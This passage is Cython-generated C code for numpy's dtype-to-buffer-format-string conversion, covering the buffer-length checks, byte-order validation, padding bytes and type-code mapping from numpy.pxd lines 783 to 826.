PyObject_GetItem(__pyx_v_descr->fields, __pyx_v_childname); if (!__pyx_t_3) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 783; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    if (!(likely(PyTuple_CheckExact(__pyx_t_3))||((__pyx_t_3) == Py_None)||(PyErr_Format(PyExc_TypeError, \"Expected tuple, got %.200s\", Py_TYPE(__pyx_t_3)->tp_name), 0))) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 783; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(((PyObject *)__pyx_v_fields));\n    __pyx_v_fields = ((PyObject*)__pyx_t_3);\n    __pyx_t_3 = 0;\n\n    /* \"numpy.pxd\":784\n *     for childname in descr.names:\n *         fields = descr.fields[childname]\n *         child, new_offset = fields             # <<<<<<<<<<<<<<\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n */\n    if (likely(((PyObject *)__pyx_v_fields) != Py_None) && likely(PyTuple_GET_SIZE(((PyObject *)__pyx_v_fields)) == 2)) {\n      PyObject* tuple = ((PyObject *)__pyx_v_fields);\n      __pyx_t_3 = PyTuple_GET_ITEM(tuple, 0); __Pyx_INCREF(__pyx_t_3);\n      if (!(likely(((__pyx_t_3) == Py_None) || likely(__Pyx_TypeTest(__pyx_t_3, __pyx_ptype_5numpy_dtype))))) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 784; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_t_4 = PyTuple_GET_ITEM(tuple, 1); __Pyx_INCREF(__pyx_t_4);\n      __Pyx_DECREF(((PyObject *)__pyx_v_child));\n      __pyx_v_child = ((PyArray_Descr *)__pyx_t_3);\n      __pyx_t_3 = 0;\n      __Pyx_DECREF(__pyx_v_new_offset);\n      __pyx_v_new_offset = __pyx_t_4;\n      __pyx_t_4 = 0;\n    } else {\n      __Pyx_UnpackTupleError(((PyObject *)__pyx_v_fields), 2);\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 784; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    }\n\n    /* \"numpy.pxd\":786\n *         child, new_offset = fields\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:             # <<<<<<<<<<<<<<\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")\n * \n */\n    __pyx_t_4 = PyInt_FromLong((__pyx_v_end - __pyx_v_f)); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_4);\n    __pyx_t_3 = PyInt_FromLong((__pyx_v_offset[0])); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __pyx_t_5 = PyNumber_Subtract(__pyx_v_new_offset, __pyx_t_3); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_5);\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    __pyx_t_3 = PyNumber_Subtract(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n    __pyx_t_5 = PyObject_RichCompare(__pyx_t_3, __pyx_int_15, Py_LT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_5);\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 786; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n    if (__pyx_t_6) {\n\n      /* \"numpy.pxd\":787\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")             # <<<<<<<<<<<<<<\n * \n *         if ((child.byteorder == '>' and little_endian) or\n */\n      __pyx_t_5 = PyObject_Call(__pyx_builtin_RuntimeError, ((PyObject *)__pyx_k_tuple_13), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 787; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_Raise(__pyx_t_5, 0, 0);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 787; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L5;\n    }\n    __pyx_L5:;\n\n    /* \"numpy.pxd\":789\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")\n * \n *         if ((child.byteorder == '>' and little_endian) or             # <<<<<<<<<<<<<<\n *             (child.byteorder == '<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")\n */\n    __pyx_t_6 = (__pyx_v_child->byteorder == '>');\n    if (__pyx_t_6) {\n      __pyx_t_7 = __pyx_v_little_endian;\n    } else {\n      __pyx_t_7 = __pyx_t_6;\n    }\n    if (!__pyx_t_7) {\n\n      /* \"numpy.pxd\":790\n * \n *         if ((child.byteorder == '>' and little_endian) or\n *             (child.byteorder == '<' and not little_endian)):             # <<<<<<<<<<<<<<\n *             raise ValueError(u\"Non-native byte order not supported\")\n *             # One could encode it in the format string and have Cython\n */\n      __pyx_t_6 = (__pyx_v_child->byteorder == '<');\n      if (__pyx_t_6) {\n        __pyx_t_8 = (!__pyx_v_little_endian);\n        __pyx_t_9 = __pyx_t_8;\n      } else {\n        __pyx_t_9 = __pyx_t_6;\n      }\n      __pyx_t_6 = __pyx_t_9;\n    } else {\n      __pyx_t_6 = __pyx_t_7;\n    }\n    if (__pyx_t_6) {\n\n      /* \"numpy.pxd\":791\n *         if ((child.byteorder == '>' and little_endian) or\n *             (child.byteorder == '<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *             # One could encode it in the format string and have Cython\n *             # complain instead, BUT: < and > in format strings also imply\n */\n      __pyx_t_5 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_14), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 791; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_Raise(__pyx_t_5, 0, 0);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 791; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L6;\n    }\n    __pyx_L6:;\n\n    /* \"numpy.pxd\":801\n * \n *         # Output padding bytes\n *         while offset[0] < new_offset:             # <<<<<<<<<<<<<<\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1\n */\n    while (1) {\n      __pyx_t_5 = PyInt_FromLong((__pyx_v_offset[0])); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 801; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_v_new_offset, Py_LT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 801; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 801; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (!__pyx_t_6) break;\n\n      /* \"numpy.pxd\":802\n *         # Output padding bytes\n *         while offset[0] < new_offset:\n *             f[0] = 120 # \"x\"; pad byte             # <<<<<<<<<<<<<<\n *             f += 1\n *             offset[0] += 1\n */\n      (__pyx_v_f[0]) = 120;\n\n      /* \"numpy.pxd\":803\n *         while offset[0] < new_offset:\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1             # <<<<<<<<<<<<<<\n *             offset[0] += 1\n * \n */\n      __pyx_v_f = (__pyx_v_f + 1);\n\n      /* \"numpy.pxd\":804\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1\n *             offset[0] += 1             # <<<<<<<<<<<<<<\n * \n *         offset[0] += child.itemsize\n */\n      __pyx_t_10 = 0;\n      (__pyx_v_offset[__pyx_t_10]) = ((__pyx_v_offset[__pyx_t_10]) + 1);\n    }\n\n    /* \"numpy.pxd\":806\n *             offset[0] += 1\n * \n *         offset[0] += child.itemsize             # <<<<<<<<<<<<<<\n * \n *         if not PyDataType_HASFIELDS(child):\n */\n    __pyx_t_10 = 0;\n    (__pyx_v_offset[__pyx_t_10]) = ((__pyx_v_offset[__pyx_t_10]) + __pyx_v_child->elsize);\n\n    /* \"numpy.pxd\":808\n *         offset[0] += child.itemsize\n * \n *         if not PyDataType_HASFIELDS(child):             # <<<<<<<<<<<<<<\n *             t = child.type_num\n *             if end - f < 5:\n */\n    __pyx_t_6 = (!PyDataType_HASFIELDS(__pyx_v_child));\n    if (__pyx_t_6) {\n\n      /* \"numpy.pxd\":809\n * \n *         if not PyDataType_HASFIELDS(child):\n *             t = child.type_num             # <<<<<<<<<<<<<<\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")\n */\n      __pyx_t_3 = PyInt_FromLong(__pyx_v_child->type_num); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 809; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_v_t);\n      __pyx_v_t = __pyx_t_3;\n      __pyx_t_3 = 0;\n\n      /* \"numpy.pxd\":810\n *         if not PyDataType_HASFIELDS(child):\n *             t = child.type_num\n *             if end - f < 5:             # <<<<<<<<<<<<<<\n *                 raise RuntimeError(u\"Format string allocated too short.\")\n * \n */\n      __pyx_t_6 = ((__pyx_v_end - __pyx_v_f) < 5);\n      if (__pyx_t_6) {\n\n        /* \"numpy.pxd\":811\n *             t = child.type_num\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")             # <<<<<<<<<<<<<<\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n */\n        __pyx_t_3 = PyObject_Call(__pyx_builtin_RuntimeError, ((PyObject *)__pyx_k_tuple_16), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 811; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_3);\n        __Pyx_Raise(__pyx_t_3, 0, 0);\n        __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n        {__pyx_filename = __pyx_f[1]; __pyx_lineno = 811; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        goto __pyx_L10;\n      }\n      __pyx_L10:;\n\n      /* \"numpy.pxd\":814\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_BYTE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 814; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 814; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 814; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 98;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":815\n *             # Until ticket #99 is fixed, use integers to avoid warnings\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_UBYTE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 815; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 815; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 815; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 66;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":816\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_SHORT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 816; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 816; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 816; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 104;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":817\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_USHORT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 817; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 817; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 817; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 72;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":818\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_INT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 818; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 818; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 818; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 105;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":819\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_UINT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 819; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 819; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 819; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 73;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":820\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_LONG); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 820; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 820; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 820; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 108;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":821\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_ULONG); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 821; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 821; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 821; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 76;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":822\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_LONGLONG); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 822; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 822; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 822; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 113;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":823\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_ULONGLONG); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 81;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":824\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_FLOAT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 824; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 824; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 824; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 102;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":825\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_DOUBLE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 825; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 825; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 825; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 100;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":826\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n */\n      __pyx_t_3 = 